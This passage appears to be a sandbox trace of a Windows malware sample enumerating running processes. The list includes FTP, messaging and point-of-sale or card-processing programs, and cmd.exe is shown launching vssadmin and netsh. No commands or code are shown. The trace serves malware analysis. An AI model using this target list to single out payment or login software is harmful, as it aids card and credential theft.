lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0071.111] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0071.114] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0071.116] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0071.119] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0071.121] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0071.124] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0071.172] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0071.175] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0071.177] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0071.179] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0071.182] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0071.184] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0071.601] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0071.604] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0071.606] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0071.609] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0071.611] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0071.613] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0071.615] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0071.617] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0071.619] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0071.621] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0071.623] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0071.626] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0071.628] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0071.630] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0071.632] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0071.634] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lay-compromise.exe")) returned 1 [0071.636] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="neural_allowance.exe")) returned 1 [0071.638] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="presents.exe")) returned 1 [0072.173] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="latino powers economics.exe")) returned 1 [0072.174] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lbs essentially nyc.exe")) returned 1 [0072.176] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0072.177] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0072.179] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0072.181] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0072.183] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0072.185] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0072.187] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0072.189] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0072.191] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x808, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0072.192] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0072.194] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0072.196] CloseHandle (hObject=0x1c8) returned 1 [0072.196] Sleep (dwMilliseconds=0x1f4) [0072.898] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0072.991] Process32FirstW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0072.992] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0072.994] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0072.996] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0072.997] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0072.999] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.000] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0073.002] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0073.003] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0073.005] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0073.007] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.008] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.010] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.011] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.027] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.029] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0073.031] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.033] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.034] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0073.035] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0073.037] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0073.039] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.040] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.042] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0073.044] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.045] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.046] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0073.048] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.049] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ltd revolutionary regulations.exe")) returned 1 [0073.051] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="similar.exe")) returned 1 [0073.052] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="guestbook saturday.exe")) returned 1 [0073.053] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="perceived.exe")) returned 1 [0073.055] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="communities calculate.exe")) returned 1 [0073.056] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gravekingdodge.exe")) returned 1 [0073.058] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="entitled.exe")) returned 1 [0073.060] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="f_sign.exe")) returned 1 [0073.061] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mathematical carbon.exe")) returned 1 [0073.063] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="referrals-pamela-algebra.exe")) returned 1 [0073.065] Process32NextW (in: hSnapshot=0x1c4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="paintingscompiledbeing.exe")) returned 1 [0073.066] Process32NextW (in: 